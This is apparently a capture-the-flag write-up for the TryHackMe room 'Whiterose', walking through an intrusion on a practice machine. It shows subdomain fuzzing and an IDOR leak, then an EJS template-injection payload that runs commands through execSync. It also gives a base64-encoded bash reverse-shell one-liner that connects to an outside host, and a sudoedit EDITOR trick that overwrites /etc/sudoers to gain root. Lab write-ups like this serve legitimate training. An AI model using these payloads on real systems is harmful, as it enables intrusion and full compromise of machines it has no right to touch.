THM - Whiterose
Hi,
This is my writeup about the TryHackMe easy room “Whiterose”.
Enumeration
We already got credentials in the task description:
1
Olivia Cortez:olivi8
So, we have the key, but not the door. I started as always if the target is not specified.
With a nmap scan:
1
nmap -Pn -F $target -oN ports
There are two ports open and I checked both with nmap -sC -sV
but the software running on this server has no known vulnerability.
The webserver is trying to redirect to cyprusbank.thm
, so lets add this fqdn to our /etc/hosts
file.
Website
On the website there was nothing useful to find. As we have a FQDN I start a search for subdomains with ffuf.
1
ffuf -u http://cyprusbank.thm/ -H "Host:FUZZ.cyprusbank.thm" -w /usr/share/seclists/Discovery/DNS/subdomains_top1million-110000.txt -c -v -fs 57
I used the -fs 57
to filter responses with the size of 57, because of the amount of false positives which have this size.
Only one subdomain was found, the admin
subdomain. The next step will be to add the admin.cyprusbank.thm
with the same target IP to the /etc/hosts
file and visit the page.
Admin Page
To login I used the already provided credentials from the task description. There are four menu entries:
Home
: Which shows accounts (not all) and the status of this imaginary bankSearch
: To search for accounts and it lists all accounts if the search input is emptySettings
: Shows only that we have no permissionsMessages
: Which shows us five messages
There is no hint that the messages are readed from someone (simulated ofc) so XXE would make no sense. I looked into the source code of that menu entry. But there was nothing useful in the page source code for each menu entry. Looking around and testing out, what requests are made and responses coming back, I discovered the parameter in the url for the messages entry:
The first thing that comes to mind, is to check for a Insecure Direct Object Reference(IDOR). Because there where five messages and the number five was the current parameter value, I decided to increase the number. With each step a new message appears until number nine.
Yes! Another username and password to to login. After using this credentials to login, the phone numbers are visible now. Answer the frist question and continue. The Settings menu is now available and it shows a page with two input-fields to change the password of an user. I give it a try and changed the password of
Gayle Bav
, but it this dosen’t work. But there have to be something about this page, as it is restricted to some users. There must be a reason for that.
I fired up Burp Suite and take a closer look to the request and response when changing a password. After playing around for a half hour or more and also begin to doubt that this is the way in, I have accidentally send the request without the password
parameter. I was trying to see if there will be some kind of error if sending malformed parameters and yes, the response shows a traceback error message:
This
ejs
stands for embedded javascript. When searching for “settings.ejs vulnerability” the first github link shows a possible exploit! The PoC of the GitHub user wh0amitz looks like this:
1
?name=John&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('calc');
But instead of calc
I choose a better fit for out context and executed the ls
command:
Yes! We are able to execute commands! By executing the id
command, it shows that we are executing those commands as web
user.
Reverse Shell
The next step was to get a reverse shell from that. And ye, you could retriev the user flag from this point on, but I decided to wait for it.
Just for fun.
Now, the reverse shell will be a simple bash reverse shell command. To create reverse shells, there is a website named Reverse Shell Generator which supports any executable and language to create revshells and also support encoding of the command. But when I put in the command as it is, it will not run. Maybe because of some escaping error in the string itself. Good that the website support encoding the command. But even URL Encoding doesen’t solve the problem.
Another try will be to send base64. This could be a solution, but the execSync
function will not decode it back to a string and execute the code for us, we have to decode it on the target itself and run it afterwards. Should be easy when using shell oneliner:
1
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzAgMD4mMQ==| base64 -d | bash"
This command will execute echo
which will print the base64 encoded command, but this will be piped to the base64
command, which decode it and then the decoded string will be piped to the bash
command, which will run the string. For me this doesn’t work at first, because instead of sh
I decided to use bash
to run the reverse shell. When using sh
it works as expected. Just to be sure, I choose the absolute path /bin/bash
instead of just bash
, this will create a connection but stop it immediately. So back to sh
then.
Now we have a shell on the target as user web
. By this time I answered the second question.
To stabilize the shell do the following, this will save your nerves later. Trust me.
- export TERM=xterm
- python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
- CTRL+Z (press keys, this is not a command)
- stty raw -echo; fg
- reset
Root it
When I land on a linux machine and want to check privilege escalation possibility, the first thing I do is sudo -l
. And it was just the right thing to do, as it shows us that the user web
can run sudo without the need of a password, but only for the following command entered 1:1 unchanged:
1
sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
This is the first time I hear of sudoedit
. Even that I was used to use ArchLinux as my Desktop and still using it on all my servers, I never came across this command. Time to investigate what this command does. And ye, I already checked GTFOBins, but there was nothing about the sudoedit
command.
When facing a command for the first time, it is a good idea to read the man page for that command. So, the manual say that this command opens files as another user to edit them. I could have guessed it by it’s name. If I run the command with sudo, it opens the file with nano
, a texteditor which only exist for non-Vim natives to be able to install archlinux, I guess. Lucky for me, that I like vim
/vi
/neovim
more than nano
and the first thing I would do, is to change the editor. Because of this impulses, my though was “How do sudoedit
decide which editor to use?”
If you ever have installed archlinux then you also have faced the problem, when you forget to install sudo
on it and when want to do so, you have to use visudo
to enable sudo right for your local user.
Why is this so relevant for this case you may ask. Now, when using visudo
, you can specify the editor by passing an environment varibale EDITOR=
. And on the MAN page of the sudoedit
command, it says that it uses the very same environment variable to select the editor:
For clarification:
The sudoedit
is not sudo $EDITOR <file>
. sudoedit
instead copies the target file to a temporary location, and the file is open with the user web
in our case, not as root. After closing the texteditor, sudoedit
moves the file to it’s original place and overwrite the old file with root privileges. Knowing that, it will be useless to run some kind of export EDITOR='vim -c "!/bin/bash"'
shell spawn commands, as they will be run with the rights of the local user.
To gain root, we have to modify a file which give us root right. I have the freedom here to choose to change passwd
/shadow
file or the most simpliest way: change sudoers
file.
Now, we are only allowed to open admin.cyprusbank.thm
file with sudoedit, which will rewrite it as root afterwards. To bypass this and be able to decide which file we want to edit, vim has a feature which prevent vim from treatening the following as arguments.
1
export EDITOR='vim -- /etc/sudoers'
After this export, I ran the sudo command 1:1, but it opens the sudoers
file instead.
This modification allows the web
user to run every command without the need of a password with sudo
. To switch to root, just do sudo su
.
Now, with root access, the last flag can be obtained.
Good luck! :)